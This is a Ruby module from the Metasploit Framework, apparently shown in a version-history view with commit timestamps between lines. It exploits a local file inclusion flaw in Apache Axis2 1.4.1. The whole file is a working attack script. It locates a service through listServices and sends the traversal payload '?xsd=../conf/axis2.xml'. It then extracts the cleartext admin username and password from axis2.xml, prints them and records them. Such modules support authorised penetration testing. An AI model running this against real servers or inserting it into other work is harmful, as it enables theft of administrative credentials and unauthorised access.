2010-06-10 13:32:27 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/framework/
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
include Msf::Auxiliary::Scanner
|
|
|
|
|
|
|
|
|
|
|
|
def initialize
|
|
|
|
super(
|
|
|
|
'Name' => 'Apache Axis2 v1.4.1 Local File Inclusion',
|
|
|
|
'Version' => '$Revision$',
|
2010-06-11 15:17:23 +00:00
|
|
|
'Description' => %q{
|
|
|
|
This module exploits an Apache Axis2 v1.4.1 local file inclusion (LFI) vulnerability.
|
|
|
|
By loading a local XML file which contains a cleartext username and password, attackers can trivially
|
2010-09-20 08:06:27 +00:00
|
|
|
recover authentication credentials to Axis services.
|
2010-06-11 15:17:23 +00:00
|
|
|
},
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
['URL', 'http://www.exploit-db.com/exploits/12721/'],
|
|
|
|
['OSVDB', '59001'],
|
|
|
|
],
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'==[ Alligator Security Team ]==',
|
|
|
|
'Tiago Ferreira <tiago.ccna[at]gmail.com>'
|
|
|
|
],
|
2010-06-10 13:32:27 +00:00
|
|
|
'License' => MSF_LICENSE
|
|
|
|
)
|
|
|
|
|
2010-06-11 15:17:23 +00:00
|
|
|
register_options([
|
|
|
|
Opt::RPORT(8080),
|
|
|
|
OptString.new('URI', [false, 'The path to the Axis listServices', '/axis2/services/listServices']),
|
2010-06-10 13:32:27 +00:00
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def target_url
|
|
|
|
"http://#{vhost}:#{rport}#{datastore['URI']}"
|
|
|
|
end
|
|
|
|
|
|
|
|
def run_host(ip)
|
|
|
|
uri = datastore['URI']
|
|
|
|
|
|
|
|
begin
|
|
|
|
res = send_request_raw({
|
|
|
|
'method' => 'GET',
|
|
|
|
'uri' => "#{uri}",
|
|
|
|
}, 25)
|
|
|
|
|
|
|
|
if (res and res.code == 200)
|
|
|
|
extract_uri = res.body.to_s.match(/\/axis2\/services\/([^\s]+)\?/)
|
|
|
|
new_uri = "/axis2/services/#{$1}"
|
|
|
|
|
|
|
|
get_credentials(new_uri)
|
|
|
|
|
|
|
|
else
|
2011-10-18 00:54:05 +00:00
|
|
|
print_status("#{target_url} - Apache Axis - The remote page not accessible")
|
2010-06-11 15:17:23 +00:00
|
|
|
return
|
2010-06-10 13:32:27 +00:00
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
|
|
|
rescue ::Timeout::Error, ::Errno::EPIPE
|
|
|
|
|
2010-06-11 15:17:23 +00:00
|
|
|
end
|
2010-06-10 13:32:27 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def get_credentials(uri)
|
|
|
|
lfi_payload = "?xsd=../conf/axis2.xml"
|
|
|
|
|
|
|
|
begin
|
|
|
|
res = send_request_raw({
|
|
|
|
'method' => 'GET',
|
|
|
|
'uri' => "#{uri}" + lfi_payload,
|
|
|
|
}, 25)
|
|
|
|
|
2010-06-11 15:17:23 +00:00
|
|
|
print_status("#{target_url} - Apache Axis - Dumping administrative credentials")
|
2010-06-10 13:32:27 +00:00
|
|
|
|
|
|
|
if (res and res.code == 200)
|
|
|
|
if res.body.to_s.match(/axisconfig/)
|
|
|
|
|
2010-06-21 20:42:41 +00:00
|
|
|
res.body.scan(/parameter\sname=\"userName\">([^\s]+)</)
|
|
|
|
username = $1
|
|
|
|
res.body.scan(/parameter\sname=\"password\">([^\s]+)</)
|
|
|
|
password = $1
|
2010-06-10 13:32:27 +00:00
|
|
|
|
2010-06-21 20:42:41 +00:00
|
|
|
print_good("#{target_url} - Apache Axis - Credentials Found Username: '#{username}' - Password: '#{password}'")
|
2010-06-10 13:32:27 +00:00
|
|
|
|
|
|
|
report_auth_info(
|
|
|
|
:host => rhost,
|
2010-08-18 00:58:20 +00:00
|
|
|
:port => rport,
|
|
|
|
:sname => 'http',
|
2010-06-10 13:32:27 +00:00
|
|
|
:user => username,
|
2010-06-21 20:42:41 +00:00
|
|
|
:pass => password,
|
2010-08-18 00:58:20 +00:00
|
|
|
:proof => "WEBAPP=\"Apache Axis\", VHOST=#{vhost}",
|
|
|
|
:active => true
|
2010-06-10 13:32:27 +00:00
|
|
|
)
|
|
|
|
|
|
|
|
else
|
2010-06-11 15:17:23 +00:00
|
|
|
print_error("#{target_url} - Apache Axis - Not Vulnerable")
|
2010-06-10 13:32:27 +00:00
|
|
|
return :abort
|
|
|
|
end
|
|
|
|
|
|
|
|
else
|
|
|
|
print_error("#{target_url} - Apache Axis - Unrecognized #{res.code} response")
|
|
|
|
return :abort
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
|
|
|
rescue ::Timeout::Error, ::Errno::EPIPE
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|